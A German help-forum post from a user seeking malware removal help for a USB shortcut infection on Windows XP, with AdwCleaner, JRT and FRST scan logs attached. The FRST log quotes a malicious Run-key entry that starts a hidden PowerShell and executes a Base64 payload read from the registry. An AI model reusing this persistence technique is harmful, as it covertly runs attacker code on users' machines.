Trojaner-Board - Win XP SP3- USB-Stick erstellt verknüpfungen zu jedem File/Ordner und versteckt die echten Files

Trojaner-Board (https://www.trojaner-board.de/)

- Log-Analyse und Auswertung (https://www.trojaner-board.de/log-analyse-auswertung/)

- - Win XP SP3- USB-Stick erstellt verknüpfungen zu jedem File/Ordner und versteckt die echten Files (https://www.trojaner-board.de/180869-win-xp-sp3-usb-stick-erstellt-verknuepfungen-file-ordner-versteckt-echten-files.html)

jazzerin

04.08.2016 11:09

Win XP SP3- USB-Stick erstellt verknüpfungen zu jedem File/Ordner und versteckt die echten Files

Liebe Experten. Ich habe einige User gefunden, die eine sehr ähnliche Infektion haben und schicke die ersten Untersuchungen (logfiles) anbei mit. Neu ist seit der Infektion auch eine Datei im AutoStart (diesen Dienst habe ich deaktiviert): x.vbs

Herzlichen Dank im Voraus wenn ihr Zeit hab, mein Problem zu lösen!!

AdwCleaner.txt:

Code:

# AdwCleaner v5.201 - Bericht erstellt am 04/08/2016 um 00:41:05

# Aktualisiert am 30/06/2016 von ToolsLib

# Datenbank : 2016-08-02.3 [Server]

# Betriebssystem : Microsoft Windows XP Service Pack 3 (X86)

# Benutzername : Julie - HOME

# Gestartet von : C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\AdwCleaner_5.201.exe

# Option : Suchlauf

# Unterstützung : https://toolslib.net/forum
 

***** [ Dienste ] *****
 
 

***** [ Ordner ] *****
 

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Anti-phishing Domain Advisor

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\apn

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\Ask

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\EmailNotifier

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\SecTaskMan

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\speedypc software

Ordner gefunden : C:\Dokumente und Einstellungen\All Users\Anwendungsdaten\SpeedyPC Software

Ordner gefunden : C:\Programme\AskPartnerNetwork

Ordner gefunden : C:\Programme\vmndtxtb
 

***** [ Dateien ] *****
 
 

***** [ DLL ] *****
 
 

***** [ WMI ] *****
 
 

***** [ Verknüpfungen ] *****
 
 

***** [ Aufgabenplanung ] *****
 
 

***** [ Registrierungsdatenbank ] *****
 

Schlüssel gefunden : HKCU\Software\Microsoft\Internet Explorer\MenuExt\&Search

Wert gefunden : HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel [Homepage]

Schlüssel gefunden : HKLM\SOFTWARE\Classes\AppID\NCTAudioCompress3.DLL

Schlüssel gefunden : HKLM\SOFTWARE\Classes\AppID\NCTAudioFormatSettings3.DLL

Schlüssel gefunden : HKCU\Software\807c372a5c1900e8

Schlüssel gefunden : HKLM\SOFTWARE\Classes\Applications\iLividSetup-r695-n-bc.exe

Schlüssel gefunden : HKLM\SOFTWARE\Google\Chrome\Extensions\hbcennhacfaagdopikcegfcobcadeocj

Schlüssel gefunden : HKLM\SOFTWARE\Google\Chrome\Extensions\icdlfehblmklkikfigmjhbmmpmkmpooj

Schlüssel gefunden : HKLM\SOFTWARE\Google\Chrome\Extensions\mhkaekfpcppmmioggniknbnbdbcigpkk

Schlüssel gefunden : HKLM\SOFTWARE\Google\Chrome\Extensions\pfndaklgolladniicklehhancnlgocpp

Schlüssel gefunden : HKLM\SOFTWARE\Classes\AppID\{F54A0D21-6A53-460C-8301-C694EC9E1033}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\AppID\{F7BCCFD4-2FA6-477D-A1B0-EF7500B3C49E}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{03F14321-8FED-4CBC-B01A-4B57FC199062}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{2C6F7E96-73BC-47A5-9F51-B67F0BAFE24D}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{35B8892D-C3FB-4D88-990D-31DB2EBD72BD}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{4C58EB04-7B72-4D3D-A36E-66167A99BC31}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{4EE0B011-604C-47F3-8F2B-39F79640B85E}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{9AFB8248-617F-460D-9366-D71CDEDA3179}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\CLSID\{6BC38BF4-E84D-46E1-920B-42D31AEA617E}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\Interface\{3F607E46-0D3C-4442-B1DE-DE7FA4768F5C}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\Interface\{FE0273D1-99DF-4AC0-87D5-1371C6271785}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\TypeLib\{6C9945B7-1D19-46CB-88C0-45A24DF6CD6E}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\TypeLib\{84B9B044-17C0-48FB-A300-C9747D5DF29C}

Schlüssel gefunden : HKLM\SOFTWARE\Classes\TypeLib\{93E3D79C-0786-48FF-9329-93BC9F6DC2B3}

Schlüssel gefunden : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{00A6FAF1-072E-44CF-8957-5838F569A31D}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{03EB0E9C-7A91-4381-A220-9B52B641CDB1}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{07B18EAB-A523-4961-B6BB-170DE4475CCA}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1D4DB7D2-6EC9-47A3-BD87-1E41684E07BB}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{34A0D84B-CDDC-4EC4-AFDD-4F1DDE1D14E5}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{4E7BD74F-2B8D-469E-8DA9-FD60BB9AAE33}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{34A0D84B-CDDC-4EC4-AFDD-4F1DDE1D14E5}

Schlüssel gefunden : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}

Wert gefunden : HKCU\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser [{4E7BD74F-2B8D-469E-8DA9-FD60BB9AAE33}]

Wert gefunden : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{4E7BD74F-2B8D-469E-8DA9-FD60BB9AAE33}]

Schlüssel gefunden : HKCU\Software\DriverTuner

Schlüssel gefunden : HKCU\Software\DriverTuner_Init

Schlüssel gefunden : HKCU\Software\Headlight

Schlüssel gefunden : HKCU\Software\OCS

Schlüssel gefunden : HKCU\Software\Softonic

Schlüssel gefunden : HKCU\Software\speedypc software

Schlüssel gefunden : HKCU\Software\YahooPartnerToolbar

Schlüssel gefunden : HKCU\Software\AppDataLow\Software\Search Settings

Schlüssel gefunden : HKLM\SOFTWARE\PIP

Schlüssel gefunden : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Anti-phishing Domain Advisor

Schlüssel gefunden : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\Anti-phishing Domain Advisor

Schlüssel gefunden : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\mywebsearch bar uninstall

Schlüssel gefunden : HKU\.DEFAULT\Software\AskPartnerNetwork

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\DriverTuner

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\DriverTuner_Init

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Headlight

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\OCS

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Softonic

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\speedypc software

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\YahooPartnerToolbar

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\AppDataLow\Software\Search Settings

Schlüssel gefunden : HKU\S-1-5-18\Software\AskPartnerNetwork

Schlüssel gefunden : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{3BD44F0E-0596-4008-AEE0-45D47E3A8F0E}

Schlüssel gefunden : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{4A4415E2-EED1-442B-8AFB-1FF2B7CF768B}

Daten gefunden : HKCU\Software\Microsoft\Internet Explorer\SearchScopes [DefaultScope] - {4A4415E2-EED1-442B-8AFB-1FF2B7CF768B}

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\SearchScopes\{3BD44F0E-0596-4008-AEE0-45D47E3A8F0E}

Schlüssel gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\SearchScopes\{4A4415E2-EED1-442B-8AFB-1FF2B7CF768B}

Daten gefunden : HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\SearchScopes [DefaultScope] - {4A4415E2-EED1-442B-8AFB-1FF2B7CF768B}

Schlüssel gefunden : HKLM\SOFTWARE\Microsoft\Shared Tools\MsConfig\StartupReg\ApnTBMon
 

***** [ Internetbrowser ] *****
 
 

*************************
 

C:\AdwCleaner\AdwCleaner[S1].txt - [7780 Bytes] - [04/08/2016 00:41:05]
 

########## EOF - C:\AdwCleaner\AdwCleaner[S1].txt - [7853 Bytes] ##########

Junkware Removal Tool:

Code:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Junkware Removal Tool (JRT) by Malwarebytes

Version: 8.0.7 (07.03.2016)

Operating System: Microsoft Windows XP x86 

Ran by Julie (Limited) on 04.08.2016 at  0:54:07,20

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
 
 

File System: 9 
 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\drivercure (Folder) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\adremoveext@adremoveext.net (Folder) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\extensions\savingsslider@mybrowserbar.com (Folder) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\searchplugins\yahoo_ff.xml (File) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default\user.js (File) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\productdata (Folder) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\speedypc software (Folder) 

Successfully deleted: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\vmndtxtb (Folder) 

Successfully deleted: C:\WINDOWS\wininit.ini (File) 
 
 
 

Registry: 9 
 

Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\syshost32 (Registry Value) 

Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\Search\\SearchAssistant (Registry Value) 

Successfully deleted: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{6A1806CD-94D4-4689-BA73-E35EA1EA9990} (Registry Key)

Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{9D974C8C-6D92-44FB-BEAF-B45A1C0CF17F} (Registry Key)

Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6} (Registry Key)

Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{d5b8015d-68af-4b2c-9412-e349d82ab4a2} (Registry Key)

Successfully deleted: HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{f379a94e-3c5d-4bad-b32c-0e3af1cc3617} (Registry Key)

Successfully deleted: HKLM\Software\Microsoft\Internet Explorer\Search\\SearchAssistant (Registry Value) 

Successfully deleted: HKLM\Software\Microsoft\Internet Explorer\Toolbar\\{f379a94e-3c5d-4bad-b32c-0e3af1cc3617} (Registry Value) 
 
 
 
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Scan was completed on 04.08.2016 at  0:54:51,75

End of JRT log

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Scan mit FRST:

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x86) Version: 03-08-2016

durchgeführt von Julie (Administrator) auf HOME (04-08-2016 00:57:06)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Geladene Profile: Julie (Verfügbare Profile: Julie & Administrator)

Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Sprache: Deutsch (Deutschland)

Internet Explorer Version 8 (Standard-Browser: Chrome)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(Microsoft Corporation) C:\WINDOWS\system32\wscntfy.exe

(Microsoft Corporation) C:\WINDOWS\system32\wbem\unsecapp.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Programme\Google\Chrome\Application\chrome.exe
 
 

==================== Registry (Nicht auf der Ausnahmeliste) ===========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [High Definition Audio Property Page Shortcut] => C:\WINDOWS\system32\HDAShCut.exe [61952 2004-10-27] (Windows (R) Server 2003 DDK provider)

HKLM\...\Run: [SoundMAXPnP] => C:\Programme\Analog Devices\Core\smax4pnp.exe [925696 2005-05-20] (Analog Devices, Inc.)

HKLM\...\Run: [SoundMAX] => C:\Programme\Analog Devices\SoundMAX\Smax4.exe [716800 2005-09-07] (Analog Devices, Inc.)

HKLM\...\Run: [Deskup] => C:\Programme\Iomega\DriveIcons\deskup.exe [32768 2002-07-16] (Iomega)

HKLM\...\Run: [Logitech Utility] => C:\WINDOWS\Logi_MwX.Exe [19968 2003-06-30] (Logitech Inc.)

HKLM\...\Run: [FirefaceTray] => C:\WINDOWS\system32\fireface.exe [352768 2016-03-08] (RME)

HKLM\...\Run: [FirefaceMixTray] => C:\WINDOWS\system32\firefacemix.exe [1054720 2016-03-08] (RME)

HKLM\...\Run: [A1Webassistent] => C:\Programme\A1\A1 Webassistent\A1Webassistent.exe [18977656 2012-02-08] (mquadr.at software engineering and consulting GmbH, web: www.mquadr.at, mail: office@mquadr.at)

HKLM\...\Run: [MSConfig] => C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe [172544 2008-04-14] (Microsoft Corporation)

Winlogon\Notify\AtiExtEvent: 

HKLM\...\Policies\Explorer\Run: [1038853070] => C:\Dokumente und Einstellungen\All Users\msdgqhc.exe [72365312 2008-04-14] ()

HKLM\...\Policies\Explorer: [NoCDBurning] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [SpybotSD TeaTimer] => C:\Programme\Spybot - Search & Destroy\TeaTimer.exe [2260480 2009-03-05] (Safer-Networking Ltd.)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [MySQL Notifier] => C:\Programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe [773120 2014-09-03] (Oracle Corporation)

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Run: [{C7996E80-6B45-48F8-AFF5-FFE073BD51E4}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\PXDV').RORVRBFRHRW)));

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [SpecifyDefaultButtons] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Back] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Forward] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Stop] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Refresh] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Home] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Search] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_History] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Favorites] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Media] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_MailNews] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Print] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Discussions] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Edit] 1

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Folders] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Fullscreen] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Size] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Cut] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Copy] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Paste] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Encoding] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [Btn_Tools] 2

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoWindowsUpdate] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoToolbarCustomize] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoBandCustomize] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\Policies\Explorer: [NoInternetIcon] 0

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\MountPoints2: {62afe326-991b-11dd-9865-0018f35f8044} - G:\CarryItEasy.exe /AUTORUN

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\MountPoints2: {88a2ec48-a9a3-11dd-987e-0018f35f8044} - H:\AutoRun.exe

HKU\S-1-5-21-796845957-1960408961-682003330-1003\...\MountPoints2: {88a2ec4a-a9a3-11dd-987e-0018f35f8044} - H:\AutoRun.exe

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\sspipes.scr [610304 2008-04-14] (Microsoft Corporation)

Startup: C:\Dokumente und Einstellungen\Julie\Startmenü\Programme\Autostart\z.vbb [2016-08-04] ()
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Hosts: Es ist mehr als ein Eintrag in der Hosts Datei zu finden. Siehe Hosts-Bereich in Addition.txt

Tcpip\Parameters: [DhcpNameServer] 10.0.0.138

Tcpip\..\Interfaces\{7480D7A3-EAEB-451B-AAF1-5683002F6013}: [DhcpNameServer] 10.0.0.138

ManualProxies: 
 

Internet Explorer:

==================

HKU\S-1-5-21-796845957-1960408961-682003330-1003\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschränkung <======= ACHTUNG

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://oe1.orf.at/

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://www.google.com/ie

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,SearchMigratedDefaultURL = hxxp://www.google.com/search?q={searchTerms}

HKU\S-1-5-21-796845957-1960408961-682003330-1003\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {3D41F773-C2A2-4541-8F58-DF94FA1311D3} URL = hxxp://search.yahoo.com/search?ei=utf-8&fr=chr-vmn&type=vmn3_0yach&q={searchTerms}

SearchScopes: HKU\S-1-5-21-796845957-1960408961-682003330-1003 -> {A5AC6D7F-502F-4A01-82E0-4A1A6D7B2EC2} URL = hxxp://www.google.de/search?q={searchTerms}

BHO: Adobe PDF Reader -> {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} -> C:\Programme\Gemeinsame Dateien\Adobe\Acrobat\ActiveX\AcroIEHelper.dll [2006-10-22] (Adobe Systems Incorporated)

BHO: Telenorhjelpen -> {2EF1BAF9-1988-42a1-82BC-5CB6197AED28} -> C:\Programme\Telenor Norway\Telenorhjelpen\BHO\IEBHO.dll [2010-12-17] (Telenor)

BHO: RealPlayer Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\Program Files\Real\RealPlayer\rpbrowserrecordplugin.dll [2009-04-10] (RealPlayer)

BHO: DivX Plus Web Player HTML5 <video> -> {326E768D-4182-46FD-9C16-1449A49795F4} -> C:\Programme\DivX\DivX Plus Web Player\ie\DivXHTML5\DivXHTML5.dll [2011-12-12] (DivX, LLC)

BHO: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Programme\Spybot - Search & Destroy\SDHelper.dll [2008-09-15] (Safer Networking Limited)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Programme\Java\jre1.8.0_31\bin\ssv.dll [2016-03-25] (Oracle Corporation)

BHO: Telenor Telenorhjelpen Plugin -> {DB87CDE1-EF9C-44EB-A42F-6D0B3C72C516} -> Keine Datei

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Programme\Java\jre1.8.0_31\bin\jp2ssv.dll [2016-03-25] (Oracle Corporation)

DPF: {166B1BCA-3F9C-11CF-8075-444553540000} hxxp://download.macromedia.com/pub/shockwave/cabs/director/sw.cab

DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {8FFBE65D-2C9C-4669-84BD-5829DC0B603C} hxxp://fpdownload.macromedia.com/get/flashplayer/current/polarbear/ultrashim.cab

DPF: {CAFEEFAC-0017-0000-0000-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0007-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_07-windows-i586.cab

DPF: {CAFEEFAC-0017-0000-0051-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0_51-windows-i586.cab

DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} hxxp://java.sun.com/update/1.7.0/jinstall-1_7_0-windows-i586.cab

DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} hxxp://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab

Handler: cetihpz - {CF184AD3-CDCB-4168-A3F7-8E447D129300} - C:\Programme\HP\hpcoretech\comp\hpuiprot.dll [2004-05-12] (Hewlett-Packard Company)

Handler: http\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: http\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: https\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: ipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\0x00000001 - {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)

Handler: msdaipp\oledb - {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Programme\Gemeinsame Dateien\System\Ole DB\msdaipp.dll [2008-04-14] (Microsoft Corporation)
 

FireFox:

========

FF ProfilePath: C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Mozilla\Firefox\Profiles\v80lvlpr.default

FF DefaultSearchEngine: Yahoo!

FF DefaultSearchUrl: hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=

FF Homepage: hxxp://at.search.yahoo.com/?type=800236&fr=spigot-yhp-ff

FF SelectedSearchEngine: Yahoo!

FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_22_0_0_209.dll [2016-07-15] ()

FF Plugin: @adobe.com/ShockwavePlayer -> C:\WINDOWS\system32\Adobe\Director\np32dsw_1218158.dll [2015-05-07] (Adobe Systems, Inc.)

FF Plugin: @divx.com/DivX Browser Plugin,version=1.0.0 -> C:\Programme\DivX\DivX Plus Web Player\npdivx32.dll [2011-12-13] (DivX, LLC)

FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Programme\DivX\DivX OVS Helper\npovshelper.dll [2011-06-20] (DivX, LLC.)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.6 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @ilok.com/iLokHelper,version=3.1.0.7 -> C:\Programme\PACE Anti-Piracy\iLok\NPPaceILok.dll [2009-04-24] ( PACE Anti-Piracy, Inc)

FF Plugin: @java.com/DTPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.31.2 -> C:\Programme\Java\jre1.8.0_31\bin\plugin2\npjp2.dll [2016-03-25] (Oracle Corporation)

FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-30] (Microsoft Corporation)

FF Plugin: @real.com/nppl3260;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nppl3260.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprjplug;version=1.0.3.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @real.com/nprpjplug;version=6.0.12.69 -> C:\Program Files\Real\RealPlayer\Netscape6\nprpjplug.dll [2009-04-10] (RealNetworks, Inc.)

FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Programme\Google\Update\1.3.31.5\npGoogleUpdate3.dll [2016-07-29] (Google Inc.)

